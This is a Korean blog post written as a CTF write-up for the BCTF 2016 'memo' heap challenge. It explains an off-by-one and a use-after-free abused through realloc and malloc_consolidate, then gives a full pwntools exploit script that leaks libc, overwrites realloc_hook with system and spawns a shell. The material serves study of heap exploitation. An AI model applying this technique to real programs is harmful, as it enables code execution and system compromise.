ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • bctf 2016 memo
    Pwnable/CTF 2017. 10. 2. 22:25

     



    1번이 edit, tear에서 입력한것을 출력해준다.

    2번이 edit기능으로 ptr이라는 전역변수에 n(120)만큼 입력해준다.

    3번이 ptr변수를 realloc 하고 n사이즈를 입력받고 n만큼 입력한다.

    4번이 또 다른 전역변수 입력

    5번이 또 다른 전역변수 입력


    이 문제에서는 malloc대신에 realloc함수를 사용하고

    full relro가 걸려있으니 got overwrite를 사용하지못하니 *_hook종류를 써야된다.

    여기서 쓰여지는 hook은 realloc_hook뿐이다.


    이 문제에서는 free함수가 없는데 이런 문제에서 쓰이는 기법은 2가지이다.


    1. malloc_consolidate (문제풀때 까먹었었음 ㅠㅠ)

    2. house of orange 


    1번은 hitcon sleeptyholder

    2번은 hitcon house of orange


    2번은 풀다 이해할것만하고 풀이를 너무 많이봐서 다시 풀어야봐야되는문제다. 


    간단하게 설명하자면


    1번은 int_malloc부분에 large_bin를 malloc하고 have_fastchunks등 함수를 사용하여서 청크중에 fastbin이 있나보고 unsortedbin으로 바꾼다. 그 전에 unlink 조건이된다면 unlink를 해주는 기능이다.


    2번은 top_chunk 사이즈가 ex)0x20f09 라고 치면 top_chunk 사이즈를 0xf09로 바꿔주고 0xf09보다 사이즈를 크게주고 현재 있는 chunk중에 malloc 할게 없다면 top_chunk 사이즈를 빼서 malloc를 하는데 이때 top_chunk 사이즈가 부족하다면 부족한 사이즈를 더 채우기위해서 현재 malloc 되어있는것을 free해준다.


    2번째는 top_chunk 주소를 바꿔줘야되는데 어찌되었던 잘 못쓰니 패스 + off_by_one이있지만 쨋든 못함 .. ㅎ

    그럼 답은 1번이다.





    off_by_one은 이부분에 있다. 

    size를 1byte를 덮을수있게되는데 result = 0으로 바꿔주지만 그 위에 if문을 사용하면 내가 원하는 사이즈로? 바꿀 수 있다.

    name부분을 이용하여서 size수정 및 fake_chunk를 해주고 edit로 chunk끼리 사이즈들을 맞추고 해야되기때문에 edit로도 fake_chunk를 만든다. 


    그리고 name edit title 에서 edit를 free해주기위해 realloc를 해준다.


    tear를 할때 next 청크가 top_chunk라면 malloc_consolidate가 정상적으로 작동하지 않는다.


    그렇기 때문에 180 128 를 해주고 realloc를 해주면 uaf로 인해 180쪽으로 가게된다. 그렇게 되면 next chunk가 top_chunk가 아닌 128청크가 되기 때문에 malloc_consolidate가 정상적으로 된다.



    tear(180,"BBBB"#unlink set free(0,<1>,2), tear(0x400) UAF

    tear(128,"bbbb"#next chunk top chunk bang ge

    tear(0x400,"")




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    from pwn import *
     
    p=process("./memo")
    elf=ELF("./memo")
     
    def show():
        print p.recv(1024)
        p.sendline("1")
     
    def edit(content):
        p.recvuntil('exit')
        p.sendline("2")
        p.recvuntil(':')
        p.sendline(content)
     
    def tear(page,content):
        p.recvuntil('exit')
        p.sendline("3")
        p.recvuntil(':')
        p.sendline(str(page))
        p.recvuntil(':')
        p.sendline(content)
     
    def change(name):
        print p.recvuntil('exit')
        p.sendline("4")
        print p.recvuntil(':')
        p.send(name)
     
    def change_title(title):
        p.recvuntil('exit')
        p.sendline("5")
        p.recvuntil(':')
        p.sendline(title)
     
     
    payload = p64(0)
    payload += p64(0x20)
    payload += p64(0x602028)
    payload += p64(0x602030)
    payload += p64(0x20)
    payload += "@"
     
    change(payload)
     
    payload = "B"*0x30
    payload += p64(0)
    payload += p64(0x41)
     
    edit(payload)
    change_title("C"*10)
     
    tear(180,"BBBB"#unlink set free(0,<1>,2), tear(0x400) UAF
    tear(128,"bbbb"#next chunk top chunk bang ge
    tear(0x400,"")
     
    payload = p64(0)
    payload += p64(0x602028)
    payload += p64(elf.got['realloc'])
     
     
    print p.recvuntil('exit')
    p.sendline("4")
    print p.recvuntil(':')
    p.sendline(payload)
     
     
    print "============="
    p.recv(1024)
    p.sendline("1")
    print p.recvuntil('On this page you write:\n')
    puts = u64(p.recv(6)+"\00\00")
    libc_base = puts - 0x846c0
    realloc_hook = libc_base + 0x3c4b08
    oneshot = libc_base + 0x4525d
    system = libc_base + 0x45390
    BinSh = libc_base + 0x18cd17
    print hex(puts)
    print hex(libc_base)
    print hex(realloc_hook)
    print hex(oneshot)
     
    change_title(p64(0)+p64(realloc_hook)+p64(0x602050)+p64(0x602028))
    change_title(p64(system)) #realloc_hook system set
    edit(p64(0)) #tear setting
    change(p64(0)+p64(realloc_hook)+p64(BinSh)+p64(0x602028)) #realloc av pointer BinSH = tear == system(BinSh)
     
    p.sendline("dummy")
    p.recv(1024)
    p.sendline("3")
    p.recv(1024)
    p.sendline("256")
     
     
    p.interactive()
     
    cs


    이상하게 원샷을 써서 -11에러가 나는것도 아닌데 처음보는 127오류가 나면서 쉘이 안 따지는 오류때문에 system함수를 썻다.

    'Pwnable > CTF' 카테고리의 다른 글

    Belluminar 2016 remuheap  (0) 2017.10.19
    31c3ctf 2014 mynx  (1) 2017.10.09
    hitcon 2014 stkof  (0) 2017.09.04
    크리스마스CTF 2016 house_of_daehee  (0) 2017.08.28
    크리스마스CTF 2016 who is solo?  (0) 2017.08.27
Designed by Tistory.